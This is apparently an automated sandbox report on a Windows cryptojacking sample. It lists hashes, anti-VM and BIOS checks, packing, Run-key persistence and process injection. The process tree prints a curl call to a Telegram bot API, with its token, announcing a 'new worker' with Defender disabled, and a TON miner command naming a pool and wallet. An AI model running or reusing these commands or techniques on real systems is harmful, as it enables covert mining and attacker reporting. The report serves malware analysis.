Analysis
-
max time kernel
8s -
max time network
11s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220113 -
submitted
19-01-2022 15:22
Static task
static1
Behavioral task
behavioral1
Sample
b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe
Resource
win10v2004-en-20220113
windows10-2004_x64
0 signatures
0 seconds
General
-
Target
b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe
-
Size
1.2MB
-
MD5
600c20e18834769dc0ae528c69108a5d
-
SHA1
743b942a951d381c0e3efc1fac3e2f09740769c2
-
SHA256
b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb
-
SHA512
36079c25f17ce81de7ebe8b3225421191ba73c1f7a9cf049c7bbc818f8b2b5c157e279dc8e2aeb3d5addb93e233768792ad52a2e75218d55ddfeaf46e30e20ec
Score
10/10
Malware Config
Signatures
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Downloads MZ/PE file
-
Processes:
resource yara_rule behavioral1/memory/3544-133-0x0000000140000000-0x000000014274C000-memory.dmp upx -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe -
Processes:
resource yara_rule behavioral1/memory/3292-130-0x00007FF723B30000-0x00007FF723F6B000-memory.dmp themida behavioral1/memory/3292-131-0x00007FF723B30000-0x00007FF723F6B000-memory.dmp themida behavioral1/memory/3292-132-0x00007FF723B30000-0x00007FF723F6B000-memory.dmp themida -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe" b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe -
Processes:
b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exedescription pid process target process PID 3292 set thread context of 3544 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe bfsvc.exe PID 3292 set thread context of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exedescription pid process target process PID 3292 wrote to memory of 1620 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe curl.exe PID 3292 wrote to memory of 1620 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe curl.exe PID 3292 wrote to memory of 3544 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe bfsvc.exe PID 3292 wrote to memory of 3544 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe bfsvc.exe PID 3292 wrote to memory of 3544 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe bfsvc.exe PID 3292 wrote to memory of 3544 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe bfsvc.exe PID 3292 wrote to memory of 3544 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe bfsvc.exe PID 3292 wrote to memory of 3544 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe bfsvc.exe PID 3292 wrote to memory of 3544 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe bfsvc.exe PID 3292 wrote to memory of 3544 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe bfsvc.exe PID 3292 wrote to memory of 3544 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe bfsvc.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe PID 3292 wrote to memory of 3536 3292 b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe"C:\Users\Admin\AppData\Local\Temp\b8931e787497efcd1306a1b86529f1d930084650fd6c38fd7051bc167b02e6fb.exe"1⤵
- Checks BIOS information in registry
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\curl.execurl "https://api.telegram.org/bot1765686682:AAFKW2CipVCRG2oYuHNFJMKO8RSC06ZylW8/sendMessage?chat_id=-679243704&text=%F0%9F%99%88 New worker!%0AGPU: Microsoft Basic Display Adapter%0AWorker Tag: None%0A(Windows Defender has been turned off)"2⤵
-
C:\Windows\bfsvc.exeC:\Windows\bfsvc.exe -a TON --pool https://server1.whalestonpool.com --user EQAts4pWtXhujvOGkuGJklDeNF5DubyRR7prqLdz--sbJIQm2⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe "EQAts4pWtXhujvOGkuGJklDeNF5DubyRR7prqLdz--sbJIQm" "Microsoft%20Basic%20Display%20Adapter" "None" "ton"2⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/3292-130-0x00007FF723B30000-0x00007FF723F6B000-memory.dmpFilesize
4.2MB
-
memory/3292-131-0x00007FF723B30000-0x00007FF723F6B000-memory.dmpFilesize
4.2MB
-
memory/3292-132-0x00007FF723B30000-0x00007FF723F6B000-memory.dmpFilesize
4.2MB
-
memory/3536-134-0x0000000140000000-0x000000014002A000-memory.dmpFilesize
168KB
-
memory/3544-133-0x0000000140000000-0x000000014274C000-memory.dmpFilesize
39.3MB